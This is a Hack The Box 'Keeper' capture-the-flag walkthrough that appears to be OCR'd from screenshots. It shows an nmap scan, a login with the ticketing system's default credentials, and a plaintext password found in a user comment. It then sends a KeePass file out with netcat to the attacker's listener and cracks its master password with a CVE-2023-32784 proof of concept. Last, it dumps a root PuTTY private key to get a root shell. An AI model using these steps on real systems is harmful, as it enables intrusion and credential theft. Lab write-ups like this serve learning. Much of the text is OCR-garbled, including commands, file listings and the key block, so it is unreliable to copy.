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Reconnaissance

Keeper is an easy-difficulty Linux machine that features a support ticketing system that uses default
credentials. Enumerating the service, we are able to see clear text credentials that lead to SSH access.
With SSH access, we can gain access to a KeePass database dump file, which we can leverage to
retrieve the master password. With access to the Keepass database, we can access the root SSH keys,
which are used to gain a privileged shell on the host.

We staring as always using nmap in order to know ports and services running in the victim machine.

nmap -sSCV -p- --open --min-rate=5000 -Pn -n 10.10.11.227 -oN scanl.txt
Starting Nmap 7.95 ( https:/nmap.org ) at 2025-04-12 18:45 CEST

Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 69.95% done; ETC: 18:46 (0:00:05 remaining
Nmap scan report for 10.10.11.227

Host is up (0.34s latency).

Not shown: 63760 closed tcp ports (reset), 1773 filtered tcp ports (no-response
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0
| ssh-hostkey:

| 256 35:39:d4:39:40:4b:11:61:86:dd:7¢c:37:bb:4b:98:9¢ (ECDSA

| 256 la:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519

80/tcp open http nginx 1.18.0 (Ubuntu

|_http-server-header: nginx/1.18.0 (Ubuntu

|_http-title: Site doesn't have a title (text/html).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 29.94 seconds

Nmap reports us the port 22, and §0:

In the web we can see two domains so I add those to the /etc/hosts

« C O & Not Secure 10.10.11.227

3] Import bookmarks... [ Cibersecurity [J Hacking [(JeJPT [JOSCP

127.0.0.1 localhost
::1 localhost

7 10.10.11.227 keeper.htb tickets.keeper.ht[]
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In the keeper.htb domain we can see that there is a login which is using RT:

& Not Secure keeper.htb L © O

[0 Cibersecurity [0 Hacking (D eJPT [ OSCP | OJIA [ Scripting rici

RT for tickets.ke

Login 4.4 4.+ dfsg-2ubuntut

Username: |

Password: |

Searching we get the default credentilas and once we trying we successfully login.

Mas preguntas

What are the default credentials for best practical ticket system?

NOTE: The default credentials for RT are: - |User: root - Pass: password Not changing t
root password from the default is a SECURITY risk! Set up users, groups, queues, scrips

Once in, I see the next user:

pme Search Reports Articles Assets Tools Admin Logged in as root RT for tickets.keeper.htb

elect a user New ticketin | Gene|

Privileged users

Go to user| \

Find all users whose | Name v || matches

And all users whose | Name v || matches

And all users whose | Name v || matches

O Include disabled users in search

Select a user:

# Name Real Name Email Address Status
27 Inorgaard Lise Nergaard Inorgaard@keeper.htb Enabled

14 root Enoch Root root@localhost Enabled




Explotation

On settings dashboard there is a comment with a password:

C O & Not Secure keeper.htb

Import bookmarks... (3 Cibersecurity [0 Hacking (D eJPT [DOSCP ‘ OIA [OScripting Oricing | (O Blue Team

me Search Reports Articles Assets Tools Admin Logged in as root

odify the user Inorgaard

» |ldentity

Usemame:| lnorgaard |{required)

Email: | Inorgaard@keeper.hib |

Real Name: | Lise Nergaard

|
N'ckqame:| Lise |
|

Unix ogiq:| lnorgaard

Language:[ Danish v |

Timezone: | System Default (Europe/Berlin)

Helpdesk Agent from
Korsbzk
Extra info:

» Access control

™ Let this user access AT
™ Let this user be granted rights (Privileged)

root's current password: |

New password: |

Retype Password: |

» Comments about this user

New user. Initial password set tc Welcome2®23!

~ Signature

So now we can try using the user and the found password to login via ssh and we're in:

Inorgaard@keeper:~$ Is
RT30000.zip user.txt

Basics
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Inorgaard@keeper:~$ Is -la
total 85384
drwxr-xr-x 4 Inorgaard Inorgaard 4096 Jul 25 2023 .
drwxr-xr-x 3 root  root 4096 May 24 2023
lrwxrwxrwx 1 root  root 9 May 24 2023 .bash_history -> /dev/null
-tw-r--1-- 1 Inorgaard Inorgaard 220 May 23 2023 .bash logout
-tw-r--1-- 1 Inorgaard Inorgaard 3771 May 23 2023 .bashrc
drwx 2 Inorgaard Inorgaard 4096 May 24 2023 .cache

| Inorgaard Inorgaard ~ 807 May 23 2023 .profile
-tw-r--1-- 1 root  root 87391651 Apr 12 19:12 RT30000.zip
drwx 2 Inorgaard Inorgaard 4096 Jul 24 2023 .ssh
-TW-T----- 1 root  Inorgaard 33 Apr 12 18:42 user.txt
-rw-r--r-- 1 root  root 39 Jul 20 2023 .vimrc
Inorgaard@keeper:~$ unzip RT30000.zip
Archive: RT30000.zip

inflating: KeePassDumpFull.dmp

extracting: passcodes.kdbx

A keepass database exists so lets first move it to our machine using nc:

lnorgaard@keeper:~% nc -v 10.10.16.6 4444 < passcodes.kdbx
Connection to 10.10.16.6 4444 port [tcp/*] succeeded!

» nc -nvlp 4444 > passcodes.kdbx
Connection from 10.10.11.227:34118

Unlock KeePassXC Database

passcodes.kdbx

Enter Password:

We need the password key to unlock it, we can try using john:

> keepass2john passcodes.kdbx > hash




john hash -w=/usr/share/wordlists/rockyou.txt

Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8

Loaded 1 password hash (KeePass [AES/Argon2 128/128 SSE2

Cost 1 (t (rounds)) is 60000 for all loaded hashes

Cost 2 (m) is 0 for all loaded hashes

Cost 3 (p) is 0 for all loaded hashes

Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 3 for all loaded hashes

Will run 12 OpenMP threads

Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

0g 0:00:00:44 3.07% (ETA: 20:33:03) Og/s 11611p/s 11611c/s 11611C/s gadsden..gabytkm

But this is just a rabbit hole. We can try to exploit using the CVE-2023-32784:

* https://github.com/dawnl3ss/CVE-2023-32784

Privilage Escalation

> sudo python3 poc.py KeePassDumpFull.dmp
2025-04-12 20:20:09,723 [.] [main]| Opened KeePassDumpFull.dmp
Possible password: @ ,dgred med flede
Possible password: eldgred med flede
Possible password: @ dgred med flede
Possible pa : o-dgred med flede
Possible pass : o'dgred med flede
Possible password: e |dgred med flede
Possible password: @ Adgred med flede
Possible password: eldgred med flede
Possible password: e:dgred med flede
Possible password: e=dgred med flede

Possible pas e dgred med flede

Possible password: ecdgred med flede

Possible password: eMdgred med flede

I've got this possible passwords. Looking on Google I found what seem the full password:
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@.dgred med fl@de

Todo Imagenes

Sugerencia: Mostrar
sobre

1 Flede - Rece radicional Dar

021 — El redgred med flede es un tipico postre danés preparado a base

de compota de frutos [ 0s, , I , etc.) y servido luego ...

Metwork

";"' Internet

il =Mail
Homebanking

W Recycle Bin

719



Title: = keeperhtb (Ticketing Se’-.;e*]|
root

RSB RBRERD

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none

Public-Lines: &
AAAABINzaCTyc2EAARADAQABAAABAQCNVgse/hMswGBRQsPsC/Ewyx|vcBY
B8riCZV30ZbfEF09z0PNUN4DisesKB4x1KtqHOI8vPtRRIEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxkB99PKSSqKDxUTZeF)4FBAXgIxo]dpLHIMvh 7 Zy] NAy34Ifc FC+LIM
Cj/c6tQa2laFfgcvi+2bnR6UrUVRB4thm]ca29)Aq2p9BkdDGsiHEF8eanIBATTu
FYbUt2CenSUPDUAWTWIL56qC28weq/ghm2LGOxXupb+LOjxGNNtA2z|38P1FTTZQ
LxPVTWUKTEuBjunnLkOkfnM4-+b)8g7MXLgbrisgroywF6Coxs0Et
Private-Lines: 14
AAABAQCBOdgBVETEB/UFNAG/X2hnXTPZKSz OnoxkicDwEVR+1ye/t/d OS2y bnrgj
oDni1wZdo7hTp)5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8Z ih
cmyZTZ0V9eq1D6P 1uB6AXSKuwc03h97200yfEp+xgcyXwkpd4d/otkK4ScF2hEputY
f7n24kvLOWIBQThsiLkKcz3/Cz7BdChkn+Lvi8iyABVFOp14cFTMILsd7t/plL)zT
VkCew1DZuYnYOGQxHYWEWQ4VEerCwpsMSMLD450X]4zfGLNEawSKO1/TecchTgWivz
UXjcCAviPpmSXB19UGEJITpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCgel QgBiws
OxG8eoCMWBDhhbvLEYKAFEY]3xeahXexIVwlU OcDXO7TIOQSV2sUWTET 1cvl/ExGz
inGgyp3R4yAaVTPIMILTgBkqs4AA3rC)Zp)b01AZBETBKI 1 QIZGOswWI3/uYrIZ1r
SsGN1FbK/meHIQAAAIEArbzBaWansgPtE+6Ye8MNg3G2R1 PYhpSyXpxiEBILBTNIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc709TnHNPFSiRyiXagTAE2WEEa
¥Hhv1PDdSrE8tBAVEox1 kxBruAvYIZ gceHRFrwPrF823PeNWLC2BNWEIDDGTEVKA
AACAVW]oksug|OovtA27Bamd7NRPvIa4dsMaQeXckVh19/TFBoZMDujoiGygbfaD
)ehlo1Qt70qGracVLbOT8alggbcax9nSKEETN715zrfoGynLzYkd3cETnGy
NNkjMjrocfmxflowu) 7smEFMg 7ZywW7 CBWKGozgz67tKz91s=

— e g £330 —C T m

Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55ch0

+ Session Specify the destination you want to connect to

Logging Host Name (or IP address)
~ Terminal 10.10.11.227

Keyboard

Bell

Features

Connection type:

® SSH Serial

~ Window Load, save or delete a stored session




Category: Credentials to authenticate with

T Emen ey authentic
Logging

Private kev file for authentication:
~ Terminal

o /home/belin/Desktop/Machines/HTB/Keeper/content/ssh_key_file

Bell Certificate to use with the private key (optional):
Features
~ Window

Plugin to provide authentication respo
Appearance

) Plugin command to run
Behaviour

Translation
» Selection
Colours

Fonts

Data
Proxy
~ SSH

Kex
Host keys
Cipher

v Auth

Credentials

Tue Aug

And we're root.
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